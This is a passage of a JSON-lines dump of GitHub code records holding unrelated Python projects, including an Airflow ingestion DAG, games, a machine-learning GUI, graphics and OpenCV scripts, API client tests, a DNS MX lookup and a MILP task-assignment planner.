render_template('graph.html')\r\n\r\napp.run(host='0.0.0.0',port=5000,debug=True)\r\n\r\n","repo_name":"HackStrix/FIN-IO","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27231323005","text":"from airflow.models import DAG\nfrom airflow.operators.dummy import DummyOperator\nfrom airflow.operators.python import PythonOperator\nfrom airflow.operators.sql import BranchSQLOperator\nfrom airflow.providers.amazon.aws.hooks.s3 import S3Hook\nfrom airflow.providers.amazon.aws.sensors.s3_key import S3KeySensor\nfrom airflow.providers.postgres.hooks.postgres import PostgresHook\nfrom airflow.providers.postgres.operators.postgres import PostgresOperator\nfrom airflow.utils.dates import days_ago\nfrom airflow.utils.trigger_rule import TriggerRule\n\n# General constants\nDAG_ID = \"aws_database_ingestion_workflow\"\nSTABILITY_STATE = \"stable\"\nCLOUD_PROVIDER = \"aws\"\n\n# AWS constants\nAWS_CONN_ID = \"s3_conn\"\nS3_BUCKET_NAME = \"s3-data-bootcamp-maufbl0808109231\"\nS3_KEY_NAME = \"user_purchase.csv\"\n\n# Postgres constants\nPOSTGRES_CONN_ID = \"postgre_conn\"\nPOSTGRES_SCHEMA_NAME = \"dbname\"\nPOSTGRES_TABLE_NAME = \"user_purchase\"\n\ndef ingest_data_from_s3(\n s3_bucket: str,\n s3_key: str,\n postgres_table: str,\n aws_conn_id: str = \"aws_default\",\n postgres_conn_id: str = \"postgres_default\",\n):\n \"\"\"Ingest data from an S3 location into a postgres table.\n Args:\n s3_bucket (str): Name of the s3 bucket.\n s3_key (str): Name of the s3 key.\n postgres_table (str): Name of the postgres table.\n aws_conn_id (str): Name of the aws connection ID.\n postgres_conn_id (str): Name of the postgres connection ID.\n \"\"\"\n s3_hook = S3Hook(aws_conn_id=aws_conn_id)\n psql_hook = PostgresHook(postgres_conn_id)\n local_filename = s3_hook.download_file(key=s3_key, bucket_name=s3_bucket)\n psql_hook.copy_expert(sql = \"\"\"COPY user_purchase(\n invoice_number,\n stock_code,\n detail,\n quantity,\n invoice_date,\n unit_price,\n customer_id,\n country) \n FROM STDIN\n DELIMITER ',' CSV HEADER;\"\"\", filename = local_filename)\n\n \n\ndef ingest_data_from_s3_new(\n s3_bucket: str,\n s3_key: str,\n postgres_table: str,\n aws_conn_id: str = \"aws_default\",\n postgres_conn_id: str = \"postgres_default\",):\n #Open Postgres Connection\n s3_hook = S3Hook(aws_conn_id=aws_conn_id)\n local_filename = s3_hook.download_file(key=s3_key, bucket_name=s3_bucket)\n get_postgres_conn = PostgresHook(postgres_conn_id).get_conn()\n cur = get_postgres_conn.cursor()\n with open(local_filename, 'r') as f:\n reader = csv.reader(f)\n next(reader)\n for row in reader:\n cur.execute(\"INSERT INTO user_purchase VALUES (%s, %s, %s, %s,%s, %s, %s, %s)\", row)\n get_postgres_conn.commit()\n\n\nwith DAG(\n dag_id=DAG_ID,\n schedule_interval=\"@once\",\n start_date=days_ago(1),\n tags=[CLOUD_PROVIDER, STABILITY_STATE],\n) as dag:\n start_workflow = DummyOperator(task_id=\"start_workflow\")\n\n verify_key_existence = S3KeySensor(\n task_id=\"verify_key_existence\",\n aws_conn_id=AWS_CONN_ID,\n bucket_name=S3_BUCKET_NAME,\n bucket_key=S3_KEY_NAME,\n )\n\n create_table_entity = PostgresOperator(\n task_id=\"create_table_entity\",\n postgres_conn_id=POSTGRES_CONN_ID,\n sql=f\"\"\"\n CREATE TABLE IF NOT EXISTS {POSTGRES_TABLE_NAME} (\n invoice_number varchar(10),\n stock_code varchar(20),\n detail varchar(1000),\n quantity int,\n invoice_date timestamp,\n unit_price numeric(8,3),\n customer_id int,\n country varchar(20)\n )\n \"\"\",\n )\n\n clear_table = PostgresOperator(\n task_id=\"clear_table\",\n postgres_conn_id=POSTGRES_CONN_ID,\n sql=f\"DELETE FROM {POSTGRES_TABLE_NAME}\",\n )\n continue_process = DummyOperator(task_id=\"continue_process\")\n\n ingest_data = PythonOperator(\n task_id=\"ingest_data\",\n python_callable=ingest_data_from_s3,\n op_kwargs={\n \"aws_conn_id\": AWS_CONN_ID,\n \"postgres_conn_id\": POSTGRES_CONN_ID,\n \"s3_bucket\": S3_BUCKET_NAME,\n \"s3_key\": S3_KEY_NAME,\n \"postgres_table\": POSTGRES_TABLE_NAME,\n },\n trigger_rule=TriggerRule.ONE_SUCCESS,\n )\n\n validate_data = BranchSQLOperator(\n task_id=\"validate_data\",\n conn_id=POSTGRES_CONN_ID,\n sql=f\"SELECT COUNT(*) AS total_rows FROM {POSTGRES_TABLE_NAME}\",\n follow_task_ids_if_false=[continue_process.task_id],\n follow_task_ids_if_true=[clear_table.task_id],\n )\n\n end_workflow = DummyOperator(task_id=\"end_workflow\")\n\n (\n start_workflow\n >> verify_key_existence\n >> create_table_entity\n >> validate_data\n )\n validate_data >> [clear_table, continue_process] >> ingest_data\n ingest_data >> end_workflow\n\n dag.doc_md = __doc__","repo_name":"MauricioFBL/capstone_project","sub_path":"dags/s3_2_postge.py","file_name":"s3_2_postge.py","file_ext":"py","file_size_in_byte":4874,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"33156354672","text":"from tkinter import *\r\n\r\nclass TicTacToe:\r\n def __init__(self, root, b, states): \r\n for i in range(3):\r\n for j in range(3):\r\n b[i][j] = Button(font=('Verdana', 56), width=3, bg='yellow',command = lambda r=i,c=j: self.callback(r,c))\r\n b[i][j].grid(row = i, column = j)\r\n self.player = 'X'\r\n self.stop_game = False\r\n \r\n\r\n def check_for_winner(self):\r\n for i in range(3):\r\n if states[i][0]==states[i][1]==states[i][2]!=0:\r\n b[i][0].configure(bg='grey')\r\n b[i][1].configure(bg='grey')\r\n b[i][2].configure(bg='grey')\r\n self.stop_game = True\r\n\r\n for i in range(3):\r\n if states[0][i]==states[1][i]==states[2][i]!=0:\r\n b[0][i].configure(bg='grey')\r\n b[1][i].configure(bg='grey')\r\n b[2][i].configure(bg='grey')\r\n self.stop_game = True\r\n\r\n if states[0][0]==states[1][1]==states[2][2]!=0:\r\n b[0][0].configure(bg='grey')\r\n b[1][1].configure(bg='grey')\r\n b[2][2].configure(bg='grey')\r\n self.stop_game = True\r\n\r\n if states[2][0]==states[1][1]==states[0][2]!=0:\r\n b[2][0].configure(bg='grey')\r\n b[1][1].configure(bg='grey')\r\n b[0][2].configure(bg='grey')\r\n self.stop_game = True\r\n\r\n def callback(self,r,c):\r\n if self.player == 'X' and states[r][c] == 0 and self.stop_game==False:\r\n b[r][c].configure(text='X', fg='blue', bg='white')\r\n states[r][c] = 'X'\r\n self.player = 'O'\r\n if self.player == 'O' and states[r][c] == 0 and self.stop_game==False:\r\n b[r][c].configure(text='O', fg='orange', bg='black')\r\n states[r][c] = 'O'\r\n self.player = 'X'\r\n self.check_for_winner()\r\n\r\n\r\nframe = Tk()\r\nb = [[0,0,0],[0,0,0],[0,0,0]]\r\nstates = [[0,0,0],[0,0,0],[0,0,0]]\r\nt = TicTacToe(frame,b,states)\r\nframe.mainloop()","repo_name":"kaustavb79/tic-tac-toe","sub_path":"TicToe.py","file_name":"TicToe.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"7876743488","text":"#! /usr/bin/env python3\nfrom days.commons.data_types import Type2D\nfrom days.commons.inputs_reader import get_single_line_and_parse_to_dicts\nfrom days.commons.intcode_computer import IntcodeComputer\nfrom days.commons.outputs_utils import print_grid, print_int_grid\n\n\nclass Day19:\n def get_inputs_dict(self):\n return get_single_line_and_parse_to_dicts(\"day_19.input\")\n\n def get_output_for_pos(self, inputs_dict, pos_2d):\n computer = IntcodeComputer()\n computer.inputs_dict = inputs_dict.copy()\n\n while not computer.is_halted:\n computer.perform_operation()\n\n if computer.is_waiting:\n computer.predefined_values_for_input_instruction.append(pos_2d.x)\n computer.predefined_values_for_input_instruction.append(pos_2d.y)\n\n if len(computer.outputs) == 1:\n ut = computer.outputs[0]\n return ut\n\n def get_solution_1(self):\n\n grid = {}\n inputs_dict = self.get_inputs_dict()\n\n for y in range(0, 50):\n for x in range(0, 50):\n grid[(x, y)] = self.get_output_for_pos(inputs_dict, Type2D(x, y))\n\n print_int_grid(grid)\n\n return len(list(filter(lambda v: v == 1, grid.values())))\n\n def test(self):\n grid = {}\n inputs_dict = self.get_inputs_dict()\n\n for y in range(955, 1056):\n for x in range(530, 802):\n grid[(x, y)] = self.get_output_for_pos(inputs_dict, Type2D(x, y))\n\n print_int_grid(grid)\n\n def get_top_right_pos_2d(self):\n inputs_dict = self.get_inputs_dict()\n\n current_pos_2d = Type2D(2, 3)\n\n while 1:\n right_down = current_pos_2d.clone().down_move_by_plus_y()\n down_right = current_pos_2d.clone().down_move_by_plus_y().right_move()\n\n down_left = current_pos_2d.clone().change_y_by_step(99).change_x_by_step(-99)\n down_left_ut = self.get_output_for_pos(inputs_dict, down_left)\n\n if down_left_ut == 1:\n print(\"Found! Current_pos=\", current_pos_2d.as_tuple())\n return current_pos_2d\n\n down_right_ut = self.get_output_for_pos(inputs_dict, down_right)\n\n current_pos_2d = down_right if down_right_ut == 1 else right_down\n\n def get_solution_2(self):\n tr_2d = self.get_top_right_pos_2d()\n square_left_top_x = tr_2d.clone().change_x_by_step(-99).x\n return 10000 * square_left_top_x + tr_2d.y\n\n\nif __name__ == \"__main__\":\n today = Day19()\n\n # print(\"Solution 1=\", today.get_solution_1())\n # today.test()\n print(\"Solution 2=\", today.get_solution_2())\n","repo_name":"yongsrepos/advent-of-code-2019","sub_path":"days/day_19/day_19_solution.py","file_name":"day_19_solution.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38565511726","text":"from flask import Flask\nfrom db import db\nfrom queue import Queue, Empty\nfrom threading import Thread\n\nfrom scripts.folderMonitor import monitor_folder\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb.app = app\ndb.init_app(app)\ncommands = Queue()\n\nThread(target=monitor_folder, daemon=True, kwargs={'folder_path':[\"C:\\\\Users\\\\huluh\\\\Downloads\\\\\", \"C:\\\\Users\\\\huluh\\\\Desktop\"]}).start()\n\n\n\n\n@app.route('/')\ndef hello_world(): # put application's code here\n commands.put_nowait({'action': 'something'})\n return 'Hello World!'\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"Lazy-Pupu/PikaPika","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23755245827","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\ndf= pd.read_csv('kyphosis.csv')\r\nprint(df.head())\r\na=pd.Series(df['Kyphosis'])\r\nb=np.empty(len(a))\r\nc=0\r\nfor i in a:\r\n if a[c]=='absent':\r\n b[c]=0\r\n elif a[c]=='present':\r\n b[c]=1\r\n else:\r\n pass\r\n c=c+1\r\nprint(b)\r\nb=pd.Series(b,name='result')\r\ndf=pd.merge(b,df,left_index=True,right_index=True)\r\nprint(df)\r\nX = df.drop('Kyphosis',axis=1)\r\ny = df['Kyphosis']\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.30)\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.tree import DecisionTreeClassifier\r\ndtree = DecisionTreeClassifier()\r\ndtree.fit(X_train,y_train)\r\npredictions = dtree.predict(X_test)\r\nfrom sklearn.metrics import classification_report,confusion_matrix\r\nprint(classification_report(y_test,predictions))\r\n\r\nimport tkinter as tk\r\nroot= tk.Tk()\r\ncanvas1 = tk.Canvas(root, width = 500, height = 300)\r\ncanvas1.pack()\r\n\r\nlabel1 = tk.Label(root, text='Enter age:')\r\ncanvas1.create_window(100, 100, window=label1)\r\nentry1 =tk.Entry (root)\r\ncanvas1.create_window(270, 100, window=entry1)\r\n\r\nlabel2 = tk.Label(root, text='Enter start:')\r\ncanvas1.create_window(120, 120, window=label2)\r\nentry2 =tk.Entry (root)\r\ncanvas1.create_window(270, 120, window=entry2)\r\n\r\nlabel3 = tk.Label(root, text='Enter end:')\r\ncanvas1.create_window(140, 140, window=label3)\r\nentry3 =tk.Entry (root)\r\ncanvas1.create_window(270, 140, window=entry3)\r\n\r\nlabel4 = tk.Label(root, text='Enter result:')\r\ncanvas1.create_window(160, 160, window=label4)\r\nentry4 =tk.Entry (root)\r\ncanvas1.create_window(270, 160, window=entry4)\r\n\r\ndef values():\r\n global nage \r\n nage= float(entry1.get())\r\n\r\n global nstart\r\n nstart= float(entry2.get())\r\n \r\n global nend\r\n nend= float(entry3.get())\r\n \r\n global nresult\r\n nresult= float(entry4.get())\r\n\r\n\r\n Prediction_result = ('Predict:', dtree.predict([[nresult,nage,nstart,nend]]))\r\n label_Prediction = tk.Label(root, text=Prediction_result, bg='blue')\r\n canvas1.create_window(300, 280, window=label_Prediction)\r\n\r\n\r\nbutton1 = tk.Button(root, text='Predict', command=values,bg='orange')\r\ncanvas1.create_window(270, 190, window=button1)\r\nroot.mainloop()","repo_name":"Saivarunt/ML-models","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8664534195","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport sys\nimport os\nimport cg_algorithms as alg\nimport numpy as np\nfrom PIL import Image\n\n\nif __name__ == '__main__':\n input_file = sys.argv[1]\n output_dir = sys.argv[2]\n os.makedirs(output_dir, exist_ok=True)\n\n item_dict = {}\n pen_color = np.zeros(3, np.uint8)\n width = 0\n height = 0\n\n with open(input_file, 'r') as fp:\n line = fp.readline()\n while line:\n line = line.strip().split(' ')\n if line[0] == 'resetCanvas':\n width = int(line[1])\n height = int(line[2])\n item_dict = {}\n elif line[0] == 'saveCanvas':\n save_name = line[1]\n canvas = np.zeros([height, width, 3], np.uint8)\n canvas.fill(255)\n for item_type, p_list, algorithm, color in item_dict.values():\n if item_type == 'line':\n pixels = alg.draw_line(p_list, algorithm)\n # print(f'p_list={p_list}')\n for x, y in pixels:\n canvas[y, x] = color\n # print(f'({x},{y})')\n elif item_type == 'polygon':\n # pass\n pixels = alg.draw_polygon(p_list, algorithm)\n for x, y in pixels:\n canvas[y, x] = color\n elif item_type == 'ellipse':\n # pass\n pixels = alg.draw_ellipse(p_list)\n for x, y in pixels:\n canvas[y, x] = color\n elif item_type == 'curve':\n pixels = alg.draw_curve(p_list, algorithm)\n for x, y in pixels:\n canvas[y, x] = color\n # pass\n Image.fromarray(canvas).save(os.path.join(output_dir, save_name + '.bmp'), 'bmp')\n elif line[0] == 'setColor':\n pen_color[0] = int(line[1])\n pen_color[1] = int(line[2])\n pen_color[2] = int(line[3])\n elif line[0] == 'drawLine':\n item_id = line[1]\n x0 = int(line[2])\n y0 = int(line[3])\n x1 = int(line[4])\n y1 = int(line[5])\n algorithm = line[6]\n item_dict[item_id] = ['line', [[x0, y0], [x1, y1]], algorithm, np.array(pen_color)]\n elif line[0] == 'drawPolygon':\n item_id = line[1]\n i = 2\n para = []\n while line[i] != 'DDA' and line[i] != 'Bresenham':\n x = int(line[i])\n y = int(line[i + 1])\n para.append([x, y])\n i = i+2\n algorithm = line[i]\n item_dict[item_id] = ['polygon', para, algorithm, np.array(pen_color)]\n elif line[0] == 'drawEllipse':\n item_id = line[1]\n x0 = int(line[2])\n y0 = int(line[3])\n x1 = int(line[4])\n y1 = int(line[5])\n item_dict[item_id] = ['ellipse', [[x0, y0], [x1, y1]], 0, np.array(pen_color)]\n elif line[0] == 'scale':\n item_id = line[1]\n center_x = int(line[2])\n center_y = int(line[3])\n s = float(line[4])\n item_type, p_list, algorithm, color = item_dict[item_id]\n res = alg.scale(p_list, center_x, center_y, s)\n item_dict[item_id] = [item_type, res, algorithm, color]\n elif line[0] == 'rotate':\n item_id = line[1]\n center_x = int(line[2])\n center_y = int(line[3])\n theta = int(line[4])\n item_type, p_list, algorithm, color = item_dict[item_id]\n res = alg.rotate(p_list, center_x, center_y, theta)\n item_dict[item_id] = [item_type, res, algorithm, color]\n elif line[0] == 'translate':\n item_id = line[1]\n dx = int(line[2])\n dy = int(line[3])\n item_type, p_list, algorithm, color = item_dict[item_id]\n res = alg.translate(p_list, dx, dy)\n item_dict[item_id] = [item_type, res, algorithm, color]\n elif line[0] == 'clip':\n item_id = line[1]\n x0 = int(line[2])\n y0 = int(line[3])\n x1 = int(line[4])\n y1 = int(line[5])\n algorithm = line[6]\n item_type, p_list, item_algorithm, color = item_dict[item_id]\n x_min = x0 if x0 < x1 else x1\n x_max = x0 if x0 > x1 else x1\n y_min = y0 if y0 < y1 else y1\n y_max = y0 if y0 > y1 else y1\n res = alg.clip(p_list, x_min, y_min, x_max, y_max, algorithm)\n item_dict[item_id] = [item_type, res, item_algorithm, color]\n elif line[0] == 'drawCurve':\n item_id = line[1]\n i = 2\n para = []\n while line[i] != 'Bezier' and line[i] != 'B-spline':\n x = int(line[i])\n y = int(line[i + 1])\n para.append([x, y])\n i = i+2\n algorithm = line[i]\n item_dict[item_id] = ['curve', para, algorithm, np.array(pen_color)]\n elif line[0] == '#':\n pass\n ...\n\n line = fp.readline()\n\n","repo_name":"MarinePlanet/NJU-Computer-Graphics-Project-Assignment","sub_path":"cg-project 191220123/cg_cli.py","file_name":"cg_cli.py","file_ext":"py","file_size_in_byte":5645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74975353743","text":"import numpy as np\nimport cv2\n\nimg= cv2.imread('messi5.jpg')\nimg2=cv2.imread('opencv-logo.png')\n\nprint(img.shape) #returns a tupple of rows columns and channels\nprint(img.size) #returns the total number of pixels accessed\nprint(img.dtype) #returns Image datatype \n\nb,g,r=cv2.split(img) #to split image into 3 channels\nimg=cv2.merge((b,g,r))\n\nball=img[280:340,330:390] #top left and bottom right points to copy all the pixels of the ball\nimg[273:333,100:160]= ball #co ordinates where to place the ball\n\nimg=cv2.resize(img,(512,512))\nimg2=cv2.resize(img2,(512,512)) \n\ndst= cv2.add(img,img2) #cant add 2 images of different sizes so make their sizes equal\n\n#can use cv2.addWeighted()\n\ncv2.imshow('image',dst)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"ayushvrma/opencvtutorial","sub_path":"basic operations on img.py","file_name":"basic operations on img.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"39542312516","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.today, name='today'),\n path('week', views.week, name='week'),\n path('test', views.test),\n path('nba', views.NBA),\n path('nba/m3u', views.NBA_m3u8),\n path('mlb', views.MLB),\n path('mlb/m3u', views.MLB_m3u8)\n]\n","repo_name":"yannip1234/sports_schedules","sub_path":"m3u8_links/links/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28781077741","text":"from __future__ import absolute_import\n\nimport unittest\nimport requests\nimport mock\n\nfrom appannie.http import HttpClient\nfrom appannie.exception import (AppAnnieException, AppAnnieRateLimitException,\n AppAnnieNotFoundException)\n\n\nclass TestHttp(unittest.TestCase):\n API_KEY = 'dummy'\n client = HttpClient(API_KEY)\n\n def test_default_headers(self):\n headers = self.client._get_default_headers()\n self.assertIn('Authorization', headers)\n self.assertTrue(self.API_KEY in headers['Authorization'])\n\n def test_get_url(self):\n uri = '/some/uri'\n data = {\n 'param1': 'val1',\n 'param2': 'val2',\n }\n\n url = self.client.get_url(uri)\n self.assertTrue(url.startswith(HttpClient.ENDPOINT))\n self.assertTrue(url.endswith('/some/uri'))\n self.assertFalse('?' in url)\n\n url = self.client.get_url(uri, data)\n self.assertTrue(url.startswith(HttpClient.ENDPOINT))\n self.assertTrue(url.endswith('/some/uri?param1=val1¶m2=val2'))\n self.assertTrue('?' in url)\n\n def test_is_error(self):\n response = {'error': 'some error'}\n result = self.client.is_error(response)\n self.assertEqual(result, True)\n\n response = {'param': 'val'}\n result = self.client.is_error(response)\n self.assertEqual(result, False)\n\n def test_get_exception_from_response(self):\n msg = 'some error'\n\n # general case for unknown code:\n code = 999\n exception = self.client.get_exception_from_response({'error': msg,\n 'code': code})\n self.assertTrue(issubclass(exception.__class__, AppAnnieException))\n self.assertEqual(str(exception), msg)\n self.assertEqual(exception.ERROR_CODE, AppAnnieException.ERROR_CODE)\n\n # general case for known code:\n code = AppAnnieRateLimitException.ERROR_CODE\n exception = self.client.get_exception_from_response({'error': msg,\n 'code': code})\n self.assertTrue(isinstance(exception, AppAnnieRateLimitException))\n self.assertEqual(str(exception), msg)\n self.assertEqual(exception.ERROR_CODE, code)\n\n # some 'not found' exceptions:\n code = 405\n exception = self.client.get_exception_from_response({'error': msg,\n 'code': code})\n self.assertTrue(isinstance(exception, AppAnnieNotFoundException))\n\n code = 403\n exception = self.client.get_exception_from_response({'error': msg,\n 'code': code})\n self.assertTrue(isinstance(exception, AppAnnieNotFoundException))\n\n @mock.patch('appannie.http.requests.get')\n def test_request(self, mock_get):\n uri = '/some/uri'\n data = {'breakdowns': 'b1+b2'}\n expected_result = {'code': 200,\n 'list': [{'param:': 'vals'}, {'param2': 'vals2'}]}\n expected_url = self.client.get_url(uri, data)\n expected_headers = self.client._get_default_headers()\n\n response = mock.Mock()\n response.json.return_value = expected_result\n mock_get.return_value = response\n result = self.client.request(uri, data)\n self.assertEqual(expected_result, result)\n mock_get.assert_called_once_with(expected_url,\n headers=expected_headers)\n\n @mock.patch('appannie.http.requests.get')\n def test_request_error(self, mock_get):\n uri = '/some/uri'\n\n response = mock.Mock()\n response.json.side_effect = ValueError(\"\")\n mock_get.return_value = response\n with self.assertRaises(AppAnnieException):\n self.client.request(uri)\n\n mock_get.reset_mock()\n mock_get.side_effect = requests.exceptions.RequestException\n with self.assertRaises(AppAnnieException):\n self.client.request(uri)\n\n @mock.patch('appannie.http.requests.get')\n def test_request_response_error(self, mock_get):\n uri = '/some/uri'\n expected_message = 'error message'\n expected_result = {'code': 500,\n 'error': expected_message}\n\n response = mock.Mock()\n response.json.return_value = expected_result\n mock_get.return_value = response\n with self.assertRaises(AppAnnieException) as context:\n self.client.request(uri)\n self.assertEqual(context.exception.message, expected_message)\n","repo_name":"webhue/appannie","sub_path":"tests/test_http.py","file_name":"test_http.py","file_ext":"py","file_size_in_byte":4632,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"47"} +{"seq_id":"31237768802","text":"#!/usr/bin/env python\nimport dns.resolver\n\n\ndef main():\n domain = input('Please input an domain: ')\n MX = dns.resolver.query(domain, 'MX') # MX记录,邮件交换记录,定义邮件服务器的域名\n for i in MX:\n print('MX preference =', i.preference, 'mail exchanger =', i.exchange)\n\n\nif __name__ == '__main__':\n main()\n# 运行结果如下\n# Please input an domain: 163.com\n# MX preference = 50 mail exchanger = 163mx00.mxmail.netease.com.\n# MX preference = 10 mail exchanger = 163mx01.mxmail.netease.com.\n# MX preference = 10 mail exchanger = 163mx03.mxmail.netease.com.\n# MX preference = 10 mail exchanger = 163mx02.mxmail.netease.com.\n","repo_name":"jumploop/pyauto-ops","sub_path":"第一章/dnspython/simple2.py","file_name":"simple2.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"36717562426","text":"from __future__ import division\n\nimport logging\n\n\nlogging.getLogger('pyomo.core').setLevel(logging.ERROR)\nlogging.getLogger('pyomo.util').setLevel(logging.ERROR)\nlogging.getLogger('pyomo.util.timing.construction').setLevel(logging.ERROR)\nlogging.getLogger('git.cmd').setLevel(logging.ERROR)\nlogging.getLogger('pyutilib.component.core.pyutilib.autotest').setLevel(logging.ERROR)\nlogging.getLogger('pyutilib.component.core.pyutilib.workflow').setLevel(logging.ERROR)\nlogging.getLogger('pyutilib.component.core.pyutilib').setLevel(logging.ERROR)\nlogging.getLogger('pyutilib.component.core').setLevel(logging.ERROR)\nlogging.getLogger('pyutilib.component.core.pyomo').setLevel(logging.ERROR)\nlogging.getLogger('pyutilib.component.core.pca').setLevel(logging.ERROR)\nlogging.getLogger('Pyro4.core').setLevel(logging.ERROR)\n\nimport numpy as np\nfrom itertools import *\nfrom pyomo.environ import *\nfrom pyomo.core import *\nfrom pyomo.opt import SolverFactory\n\nfrom planner.tcbs.plan import plan as plan_cbsext, generate_config\n\n\ndef manhattan_dist(a, b):\n return abs(a[0] - b[0]) + abs(a[1] - b[1])\n\n\ndef plan_milp(agent_pos, jobs, grid, config, plot=False):\n res_agent_job = optimize(agent_pos, jobs)\n\n _, _, res_paths = plan_cbsext(agent_pos, jobs, [], [], grid, config,\n plot=plot,\n pathplanning_only_assignment=res_agent_job)\n return res_agent_job, res_paths\n\n\ndef optimize(agents, tasks):\n # how long can consecutive tasks be at max?\n consec_len = len(tasks)\n # Precalculate distances\n # agents-tasks\n dist_at = np.zeros([len(agents), len(tasks)])\n for ia, it in product(range(len(agents)), range(len(tasks))):\n dist_at[ia, it] = manhattan_dist(agents[ia], tasks[it][0])\n # tasks\n dist_t = np.zeros([len(tasks)])\n for it in range(len(tasks)):\n dist_t[it] = manhattan_dist(tasks[it][0], tasks[it][1])\n # tasks-tasks\n dist_tt = np.zeros([len(tasks), len(tasks)])\n for it1, it2 in product(range(len(tasks)), range(len(tasks))):\n dist_tt[it1, it2] = manhattan_dist(tasks[it1][1], tasks[it2][0])\n\n # Problem\n m = ConcreteModel()\n\n # Sets\n def init_all(_):\n \"\"\"\n Initalize a Set variable for all elements of the assignments\n :param _: We will not need data from the model here\n :return: The set\n \"\"\"\n return ((a, c, t) for a in range(len(agents))\n for c in range(len(tasks))\n for t in range(len(tasks)))\n\n m.all = Set(dimen=3, initialize=init_all)\n\n def init_agents(_):\n return [a for a in range(len(agents))]\n\n m.agents = Set(dimen=1, initialize=init_agents)\n\n def init_tasks(_):\n return [t for t in range(len(tasks))]\n\n m.tasks = Set(dimen=1, initialize=init_tasks)\n\n def init_cons_a_first(_):\n return [t for t in range(1, len(tasks))]\n\n m.cons_a_first = Set(dimen=1, initialize=init_cons_a_first)\n\n # Variables\n m.assignments = Var(m.all,\n within=NonNegativeIntegers)\n\n # Objective\n def total_duration(m):\n \"\"\"\n Evaluating the sum of all jobs durations\n :type m: ConcreteModel\n :return: The objective\n \"\"\"\n obj = 0\n for it in m.tasks: # task we care about\n obj_task = 0\n for ia in range(len(agents)): # for all agents\n path = 0\n path += m.assignments[ia, 0, it] * dist_at[ia][it]\n path += m.assignments[ia, 0, it] * dist_t[it]\n obj_task += path * m.assignments[ia, 0, it] # we care for this path\n for ic in range(1, len(tasks)): # for all consecutive assignments\n path += m.assignments[ia, ic, it] * path # how did we get here?\n for it2 in m.tasks:\n for it2_prev in m.tasks: # for all possible previous tasks\n # from previous task end to this start\n path += m.assignments[ia, ic, it2] * \\\n m.assignments[ia, ic - 1, it2_prev] * \\\n dist_tt[it2_prev][it2]\n path += m.assignments[ia, ic, it] * dist_t[it]\n obj_task += path * m.assignments[ia, ic, it] # we care for this path\n obj += obj_task\n for it in m.tasks:\n obj += tasks[it][2] # all tasks arrival time, TODO: whats the difference then?\n return obj\n\n m.duration = Objective(rule=total_duration)\n\n # Constraints\n # every task has exactly one agent\n def one_agent_per_task(m, i_t):\n return sum(m.assignments[a, c, i_t] for a in m.agents for c in m.tasks) == 1\n\n m.one_agent = Constraint(m.tasks, rule=one_agent_per_task)\n\n # one agent can only have one task per time\n def one_task_per_time(m, i_a, i_c):\n return sum(m.assignments[i_a, i_c, t] for t in m.tasks) <= 1\n\n m.one_task = Constraint(m.agents, m.tasks, rule=one_task_per_time)\n\n # consecutive assignments can only happen after a previous one (consecutive)\n def consecutive(m, a, c):\n now = sum([m.assignments[a, c, t] for t in m.tasks])\n prev = sum([m.assignments[a, c - 1, t] for t in m.tasks])\n return now <= prev\n\n m.consec = Constraint(m.agents, m.cons_a_first, rule=consecutive)\n\n # def integer(m, a, c, t):\n # assignm = m.assignments[a, c, t]\n # return (assignm^2 - assignm + 0.25) > .2 # (x-.5)^2 -> to be 0 or 1\n #\n # m.consec = Constraint(m.all, rule=integer)\n\n # Solve\n optim = SolverFactory('bonmin')\n result = optim.solve(m)\n\n # Solution\n\n # prob.display()\n\n agent_job = [tuple() for _ in m.agents]\n act = list(m.all)\n act.sort()\n for a, c, t in act:\n if m.assignments[(a, c, t)].value:\n agent_job[a] += (t,)\n\n return agent_job\n\n\nif __name__ == \"__main__\":\n config = generate_config()\n config['filename_pathsave'] = ''\n agent_pos = [(1, 1), (9, 1), (3, 1)] # three agents\n jobs = [((1, 6), (9, 6), 0),\n ((1, 3), (7, 3), 0),\n # ((6, 6), (3, 8), 10),\n # ((4, 8), (7, 1), 10),\n ((3, 4), (1, 5), 10)]\n grid = np.zeros([10, 10, 51])\n res = plan_milp(agent_pos, jobs, grid, config)\n print(res)\n\n\"\"\"\n/usr/bin/python3.6 /home/cch/src/smartleitstand/planner/planner_milp_vs_cbsext.py\ncomputation time: 76025.224703 s\n((1,), (3, 2), (0,)) ((), (), ()) [([(0, 0, 0), (0, 1, 1), (0, 